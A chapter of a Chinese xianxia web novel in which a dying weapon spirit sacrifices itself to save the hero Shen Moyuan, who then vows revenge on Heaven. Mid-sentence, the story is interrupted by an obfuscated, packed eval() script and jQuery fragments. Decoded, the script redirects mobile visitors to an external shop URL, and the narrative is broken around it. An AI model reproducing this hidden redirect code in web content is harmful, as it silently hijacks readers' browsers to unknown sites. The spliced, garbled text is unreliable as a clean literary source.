“咔嚓”
骨头碎裂的声音从身体内部传来,像干枯的树枝被一脚踩断。沈墨渊的瞳孔骤然一缩,喉咙里挤出一声闷哼。那只金色巨手攥着他,五根巨指收紧,每一根都像烧红的铁箍,勒进皮肉,勒进骨头。
不是那种痛不欲生的感觉。
是那种——身体正在被一点一点挤扁的恐惧。
他的肋骨在往内弯,肺被挤压,呼吸变得断断续续,像被人掐着喉咙在往肺里灌水。他想吸气,但吸不进去,只能吐出一小口一小口的血沫,顺着嘴角往下淌,滴在金色的手掌里,被蒸发成白烟。他能感觉到自己的心脏在胸腔里被压得越来越紧,每一次跳动都像是在敲击一块被砸碎的骨头,又闷又疼。
耳膜里全是嗡嗡的轰鸣,夹杂着血液冲击血管的脉动声,沉重而急促。他听到自己牙齿碰撞的声音,咯咯作响。
模糊的视线里,他看到自己右手腕的印记正在黯淡,像一盏油尽灯枯的烛火,最后一点光在风里摇晃,随时都有可能熄灭。
“小子”
那个嗓音忽然炸响,像沉睡了很久的火山猛地喷发。
不是虚弱,不是疲惫,是带着愤怒的战吼。
沈墨渊浑身一震。
右手腕的印记爆发出刺目的金光,亮得他睁不开眼。不是淡金色,是燃烧的金色,像太阳在腕上炸开,灼热的冲击波从印记中喷涌而出,将那只金色巨手的手指撑开了一丝缝隙——只是一丝,但够了。
一道虚影从印记中射出,挡在他身前。
那是一个白发苍苍的老者。
很瘦,瘦得像一根枯木,但背挺得像一杆枪,笔直,纹丝不动。一头白发如瀑般散落,在光柱中飞舞,被气流撕扯成无数道白练。那张脸上布满皱纹,岁月的痕迹像刀刻上去的,每一道沟壑都浸透了风霜。
但他的眼睛
那双眼睛不是苍老的,是年轻的,燃烧着火焰的。
那是属于一个战士的眼睛。
他手中握着一柄漆黑的长枪。
枪身修长,通体漆黑,像用夜色锻打而成,表面流动着暗金色的纹路。枪尖上有一点寒光,像被冻结的星辰,锋利得似乎能刺穿一切。
器灵。
沈墨渊瞪大眼睛,嘴巴张开,气卡在喉咙里。
他从未见过器灵的样子。
只听见过声音,只在混沌空间里感觉过那团模糊的灵识。他想象过器灵的样子,但从没想过会是这样的一个白发苍苍的老人,握着一柄枪,像一座山一样挡在他身前。
“老东西……”沈墨渊的嗓子哑了,声音发颤,“你还醒着?”
器灵没有回头。
它的身影虚幻得像一阵烟,边缘在风中飘散,身体像用光织成的,半透明,隐约能看到后面正在慢慢转动的金色手掌。它站在那里,像是在拼尽全力维持自己的形状。
“废话少说。”器灵的嗓音从喉咙里挤出来,带着一种干涩的沙哑,像很久没喝过水的老人在说话,“老子……是来还债的。”
不等沈墨渊开口,器灵动了。
它一□□出去。
没有花哨的招式,没有惊天动地的声势,只是一枪——笔直地刺向那只金色巨手。
枪尖刺中的那一刻,巨手轰然碎裂。
从手掌开始,裂纹像蜘蛛网一样扩散开来,顺着金色的手指往上蔓延,一路延伸到手肘。金光从裂口处喷涌而出,像被戳破的气球,在半空中炸开。
沈墨渊摔在地上,嘴里涌上来一股腥甜,疼得他浑身发抖。
但他没时间喘口气。
光柱中伸出了第二只手。
比刚才那只更大,更凝实,手掌的纹路清晰得像刻上去的,每一条都在发光。金色的光芒刺眼得让人睁不开眼,像流动的液体沿着手掌轮廓滚动。
紧接着
第三只。
第四只。
第五只。
金色的手臂从光柱中源源不断地伸出来,像一窝被惊动的毒蛇,从黑暗中探出头来,朝器灵围拢过来。每一只都比前一只大,凝实得像真正的血肉之躯。
器灵没退。
它挥枪横扫,斩断了一只伸向沈墨渊的手掌。枪尖划过之处,金光碎裂,像被切开的水面。但那些手掌碎裂后并没有消失,而是在半空中重新凝聚,像从未被击中过一样,扭曲着,翻滚着,再次成形。
“操……”器灵骂了一句,声音低哑疲惫,“打不完的。”
它回头看了沈墨渊一眼。
那双眼睛已经不是燃烧的状态了,像两盏快要熄灭的灯,瞳仁里的光在一点一点暗淡,目光里最后的温度正被抽走。
“小子,我只能撑三息了。”
它的声音很轻,像风吹过枯草堆,轻得几乎听不见。
“快完成融合。”
沈墨渊愣住了。
心里好像被什么东西狠狠揪了一下,疼得喘不过气。他想说什么,但喉咙像被堵住了,发不出声音。
器灵没有等他回答,转回身,握紧长枪。
金色手掌围了上来。
器灵横枪一记横扫,枪身在空中划出一道弧线,像一轮黑月。金色手掌碎裂了两只,碎片在半空中飞溅,然后消散。
器灵的身体又淡了一分,像用薄纱做成的人偶,风一吹就散。它脚下的大地被金光压得龟裂,裂缝向四面八方延伸,像一张巨大的蛛网。但那只攥着长枪的手,依然稳得像一尊雕像。
沈墨渊低下头,看着自己胸口那道光。
碎片已经钻进他体内,化作一股灼热的气流,正在经脉中横冲直撞。他觉得那股力量在撕扯他的身体,像一条被关进笼子里的猛兽,想从里面撞出来。剧痛沿着脊椎一路炸开,像有人用烧红的铁丝在刮他的骨髓。
这时,器灵爆发了。
它一□□向光柱,枪尖破空,发出尖锐的破风声。
轰
长□□入光柱,整道光柱都在颤抖。
那一下爆发,所有的金色手掌都碎了——碎的不仅是手掌,是整片光柱都在晃动,像被人用手掐住了脖子,金光明灭不定。天地之间,那一瞬间只剩下那柄漆黑长枪的光芒。
器灵的身体炸裂开来,化作漫天光点。
那不是金色的光。
是像萤火虫一样的碎光,透明微白,零零碎碎地飘散着,在暗红色的天空下显得格外扎眼。
它们没有坠落,而是像被什么东西牵引着,朝沈墨渊飞过来。
成千上万的光点扑面而来,落在他的皮肤上,渗入他的血肉。
一股温热的力量顺着皮肤钻进去。
不是攻击性的。
是温暖的,像手指在轻轻抚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583646|204904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过他的脸颊。
沈墨渊张着嘴,喉咙里发不出任何声音。那些光点进入他体内后,化作一道道暖流,汇入经脉,引导着那枚碎片的灵气按照《破厄诀》的路线运转。像有人握着他的手,一笔一画地教他写字。
身体里像要炸开一样的剧痛慢慢消失了,取而代之的是一种说不出的安宁感——和温暖。
沈墨渊拼命催动《破厄诀》。
灵气在经脉中流动,带着那枚碎片的力量,一点一点地融入他的身体,融入他的血肉,融入他的骨骼。
他感觉到自己的经脉在变宽,丹田中的灵气在凝聚,修为在稳步提升。
但他感觉不到任何喜悦。
他只感觉到
那阵温暖感,正在从他体内一点一点地消失。
像有人握着他的手,却慢慢松开了。
光点散尽了。
最后一点碎光没入他的胸口,在他皮肤上留下了一道微不可察的光痕,然后黯淡下去,像涟漪一样消失在水面,无迹可寻。
沈墨渊跪在地上,浑身颤抖。
金色光柱在头顶盘旋,似乎在确认什么,然后收缩,消失在天际。
地面上只剩下沈墨渊跪着,低着头,双手撑地,指甲嵌进了石缝里。他听到自己牙齿碰撞的声音,听到血液滴落在地面的声音,听到心脏在胸腔里碎裂的声音。
周围很安静。
没有怒吼声,没有打斗声,没有碎裂声。
连风吹过的声音都没有。
他缓缓抬起右手腕。
那道印记还在。
但已经完全黯淡了。
像一块被磨去颜色的旧铁,灰扑扑地贴在皮肤上。没有温热,没有闪烁,什么都没有。
像一枚死去的眼睛。
他盯着那道印记,看了很久。
手在抖。
嘴唇在抖。
他张了张嘴,想说话,只是声音从喉咙里挤出来,干哑得像砂纸摩擦铁板。
“器灵……”
没有人回答他。
“你骗我……”声音在发颤,带着压抑不住的哭腔,“你说过……不会离开的。”
还是沉默。
他握紧拳头,指甲嵌进掌心,鲜血顺着指缝滴落,一滴一滴,砸在碎裂的地面上。
他忽然想起第一次听到器灵声音的时候。那时候,他还在灵兽山,被人泼了一身兽粪,躲在角落里偷偷哭。器灵的声音忽然在脑子里响起来,很轻,很虚弱:“小子,想逆天吗?”
他那时候不知道器灵是谁,只是觉得——这世上居然还有人愿意跟他说话。
后来器灵帮他渡过天劫,教他修炼《破厄诀》,指点他在宗门大比中取胜。
他有时候觉得,器灵就是他的父亲。
虽然器灵从来没有承认过,在器灵眼里,他大概只是个需要保护的小崽子。
但
他真的以为,器灵会一直陪着他。
他抬起头,看着天空中那道金色光柱消失的方向。
眼睛是红的,但那里面不是泪。
是杀意。
像被点燃的火焰一样燃烧着,灼热刺眼。
“天道……”
他握紧拳头,骨节咔嚓作响,鲜血从指缝间渗出,滴落在地上。
“我要你偿命。”